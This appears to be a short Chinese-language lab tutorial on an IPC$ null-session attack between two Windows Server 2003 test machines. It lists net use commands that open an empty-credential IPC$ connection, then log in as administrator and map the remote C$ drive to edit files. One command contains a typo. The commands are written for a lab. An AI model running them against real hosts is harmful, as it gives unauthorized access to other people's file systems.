IPC$空连接攻击

靶机：Windows server 2003 * 2

一般情况下我们的Windows系统的电脑在隐藏条件下会有默认共享的文件

IPC共享命名的管道资源，为了让进程之间通信而开放的命名管道，可以通过验证用户名和密码获得相应的去权限，远程管理计算机和检查计算机的共享资源时使用的

我们首先搭两台Windows server 2003试验机

1.用命令界面查看两个PC机的IP地址

PC1

PC2

2.查看双方的互通性

3.查看PC2的共享资源

net share

net use \\192.168.147.133\ipc$ "" /user:""

4.远程查看PC2的C盘

net usr z: \\192.168.147.172\C$

无密码状态下不能查看那我们就给PC2加一个密码

net user administrator "abc"

 5.删除PC1上之前的链接建立新的链接

net use \\192.168.147.172\ipc$ /del

 建立新的连接

net use \\192.168.147.172\ipc$ "abc" /user:"administrator"

重新查看

net use z: \\192.168.147.172\C$

 6.最后我们来查看我们PC1的电脑中有Z盘的存在打开查看共享磁盘

此时我们可以进入进行修改创建文件